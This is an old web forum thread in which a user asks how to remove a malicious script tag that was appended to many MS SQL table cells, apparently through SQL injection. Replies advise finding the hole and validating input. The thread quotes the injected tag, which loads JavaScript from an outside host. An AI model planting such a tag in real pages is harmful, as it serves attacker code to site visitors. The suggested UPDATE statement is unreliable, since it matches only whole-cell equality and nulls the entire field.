Welcome to the iTechForums.
If this is your first visit, be sure to check out the
FAQ by clicking the link above.
You may have to
register before you can post: click the register link above to proceed.
To start viewing messages, select the forum that you want to visit from the selection below.
To register now click here.
|
Latest Threads
Advertisements
Forum Statistics
Threads:
Posts: 3
Members:
Number of Users Online:
Welcome to our newest member, |
|
 |

05-06-2008, 04:32 PM
|
|
Junior Member
|
|
Join Date: May 2008
Posts: 1
|
|
How do I delete malicious code in MS SQL cells within the tables without...
...deleting all the information? I want to delete this malicious code string from several cells and many rows of my SQL database. How do I do this. I am not sure how someone got access to my database to add this string.
Here's the string below:
<script src=http://www.nihaorr1.com/1.js></script>
I want to trim or parse out that string from table cells in all the rows of my database. How do I do that?
I just want to delete the string but leave the other cell information intact. That string was just appended to the cells in the table. I don't want to delete entire rows.
|

05-06-2008, 04:40 PM
|
|
Junior Member
|
|
Join Date: May 2008
Posts: 2
|
|
Is this from a CMS? Which one? Is it the same link in all of the rows that you're trying to delete? By "without deleting all the information" do you mean that you want to delete the entire row that contains the malicious code-you just don't want to delete your other rows, right?
|

05-06-2008, 04:40 PM
|
|
Junior Member
|
|
Join Date: May 2008
Posts: 11
|
|
I agree with the previous posters that you need to figure out how this string got in your database before your start clearing it. If this database is connected to a web app, then someone (or something) may be exploiting a vulnerablility in the app. You may need to add a validation layer that checks if the strings that are being entered through the app are valid, before they are written to the database.
WIth regard to removing the strings, an update statement that nulls-out these strings should do the trick:
update tablename set fieldname=NULL where fieldname='<script src=http://www.nihaorr1.com/1.js></script>'
If you are finding the strings in many fields and/or many tables, you may need to write a procedure with a loop that repeats the above statement for all the fields/tables.
|
 |
| Thread Tools |
|
|
| Display Modes |
Linear Mode
|
Posting Rules
|
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is Off
|
|
|
|
All times are GMT. The time now is 03:29 PM.